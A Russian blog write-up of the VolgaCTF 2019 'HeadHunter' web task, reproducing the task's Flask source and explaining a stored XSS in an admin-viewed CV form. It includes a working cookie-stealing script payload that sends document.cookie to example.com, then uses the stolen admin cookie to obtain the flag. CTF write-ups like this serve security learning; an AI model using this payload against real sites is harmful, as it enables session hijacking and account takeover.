Хабрахабр

[Из песочницы] Volga CTF 2019 Qualifier: Задание HeadHunter

Привет! С 29 по 31 марта проходил отборочный тур VolgaCTF.

Организаторы подготовили большое количество заданий в разных категориях (кстати, в том числе была представлена новая — fake, задания на поиск дезинформации).

Цель задания HeadHunter, как и всех остальных — получение секретного ключа. Приступая к заданию получаем файл WEB.py и ссылку на сайт.

Поиск уязвимостей

Сразу идем по ссылке, видим приветственное сообщение. Регистрируемся. Во вкладке Vocation наблюдаем форму из нескольких полей:

Вводим любую информацию и пытаемся отправить. Форма отправляется успешно и во вкладке My Requests List видим нашу заявку в ожидании. Через пару десятков секунд ее статус меняется на «просмотрено»:

Взглянем на прикрепленный файл.

WEB.py

def create_app(test_config=None): app = Flask(__name__) app.config.from_mapping(test_config) # a simple page that says hello @app.route('/home', methods=['GET']) def home(): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': return render_template('home_admin.html', flag=FLAG) else: return render_template('home.html', cvs_list=db_get_user_cv(session['username'])) else: session.pop('username', None) session.pop('token', None) else: return redirect(url_for('main')) @app.route("/cv/<cvid>", methods=['GET', 'DELETE']) def work_cv(cvid): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': db_check_cv(cvid) cv_work = db_get_cv(cvid) if cv: cv_data = [] k = cv_work.keys() for key in k: temp = {"key": key, "value": cv_work[key]} cv_data.append(temp) return render_template('cv_admin.html', id=cvid, cv_data=cv_data) session.pop('username', None) session.pop('token', None) return redirect(url_for('main')) @app.route("/cv_list", methods=['GET', 'DELETE']) def cv_list(): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': # TODO return render_template('all_cvs.html', cvs_list=db_get_new_cv()) session.pop('username', None) session.pop('token', None) return redirect(url_for('main')) @app.route('/login', methods=['GET', 'POST']) def login(): if 'token' in session: return redirect(url_for('home')) if request.method == 'GET': return render_template('login.html') else: u_login = request.form.get('login') u_password = request.form.get('password') if u_login and u_password: user = db_find_user(u_login, u_password) if user: session['username'] = u_login session['token'] = token_generator() db_update_user_token(u_login, u_password, session['token']) return redirect(url_for('home')) session['last_error'] = "Username or password wrong :(" session['last_url'] = "/login" return redirect(url_for('error')) @app.route('/', methods=['GET']) def main(): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': return redirect(url_for('home')) return render_template('main_auth.html') else: session.pop('username', None) session.pop('token', None) else: return render_template('main.html') @app.route('/registration', methods=['GET', 'POST']) def registration(): if 'token' in session: return redirect(url_for('home')) if request.method == 'GET': return render_template('registration.html') else: u_login = request.form.get('username') u_password = request.form.get('password') if u_login and u_password: user = db_find_user(u_login, u_password) if user: session['last_error'] = "User already exist :(" session['last_url'] = "/registration" return redirect(url_for('error')) else: session['username'] = u_login session['token'] = token_generator() db_add_user(u_login, u_password, session['token']) return redirect(url_for('home')) return redirect(url_for('error')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) session.pop('token', None) return redirect(url_for('main')) @app.route('/error', methods=['GET']) def error(): if 'last_error' in session and 'last_url' in session: if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url']) else: session.pop('username', None) session.pop('token', None) else: return render_template('error.html', error=session['last_error'], back_url=session['last_url']) else: return render_template('error.html') @app.route('/cv', methods=['GET', 'POST']) def cv(): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': return redirect(url_for('home')) if request.method == 'GET': return render_template('cv.html') else: cv_firstname = request.form.get('firstname') cv_lastname = request.form.get('lastname') cv_email = request.form.get('email') cv_phone = request.form.get('phone') cv_message = request.form.get('message') if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message: cv = request.form.to_dict() cv['user'] = session['username'] cv['status'] = 'Wait' cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") if db_count_user_cv(cv['user']) > 9: session['last_error'] = "Maximum of request reached :(" session['last_url'] = "/home" return redirect(url_for('error')) db_add_cv(cv) return redirect(url_for('home')) else: session['last_error'] = "The request is not correct :(" session['last_url'] = "/cv" return redirect(url_for('error')) session.pop('username', None) session.pop('token', None) return redirect(url_for('main')) @app.errorhandler(404) def page_not_found(e): return render_template('error.html', error="404: Page not found!", back_url="/"), 404 return app

Сразу пытаемся найти код, который обрабатывает отправленную форму:

@app.route('/cv', methods=['GET', 'POST']) def cv(): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': return redirect(url_for('home')) if request.method == 'GET': return render_template('cv.html') else: cv_firstname = request.form.get('firstname') cv_lastname = request.form.get('lastname') cv_email = request.form.get('email') cv_phone = request.form.get('phone') cv_message = request.form.get('message') if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message: cv = request.form.to_dict() cv['user'] = session['username'] cv['status'] = 'Wait' cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") if db_count_user_cv(cv['user']) > 9: session['last_error'] = "Maximum of request reached :(" session['last_url'] = "/home" return redirect(url_for('error')) db_add_cv(cv) return redirect(url_for('home')) else: session['last_error'] = "The request is not correct :(" session['last_url'] = "/cv" return redirect(url_for('error')) session.pop('username', None) session.pop('token', None) return redirect(url_for('main'))

Вызов request.form.to_dict() сериализует форму и после «валидации» и небольшой модификации db_add_cv(cv) сохраняют все данные, что пришли с формой.
Далее, когда виртуальный модератор открывает заявку, ему также отдается всё, что нехорошие люди смогли загрузить в базу:

 @app.route("/cv/<cvid>", methods=['GET', 'DELETE']) def work_cv(cvid): if 'token' in session: session['username'] = check_token(session['token']) if 'username' in session: if session['username'] == 'admin': db_check_cv(cvid) cv_work = db_get_cv(cvid) if cv: cv_data = [] k = cv_work.keys() for key in k: temp = {"key": key, "value": cv_work[key]} cv_data.append(temp) return render_template('cv_admin.html', id=cvid, cv_data=cv_data) session.pop('username', None) session.pop('token', None) return redirect(url_for('main'))

db_get_cv(cvid) получает данные из базы и после небольшой структурной модификации отдает все данные в темплейт.

Атака

Такое сочетание фактов наталкивает на мысли о возможной XSS уязвимости.
Пытаемся выполнить типовую атаку и своровать куки, используя Image src для обхода доменных ограничений:

<script language="javascript"> var img = new Image(); img.src = 'example.com?' + document.cookie; document.body.appendChild(img);</script>

Мы предполагаем, что никакой защиты нет и текст сообщения встраивается в DOM без всяких проверок. В этом случае, код внутри тега script начнет свое выполнение. Он создаст элемент (картинку) и назначит ей источник, после чего добавит элемент в DOM. Это, в свою очередь, вынудит браузер попробовать загрузить ее, осуществив запрос на наш сервер.

Теперь просто включаем в запрос с формой дополнительное поле с нашим скриптом, отправляем и ждем. Статус меняется на «просмотрено», а на сервер приходит запрос с куки в query параметре.

Остался последний шаг — берем куки, устанавливаем их на сайте, обновляем страницу и получаем ключ:

Задание решено.

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»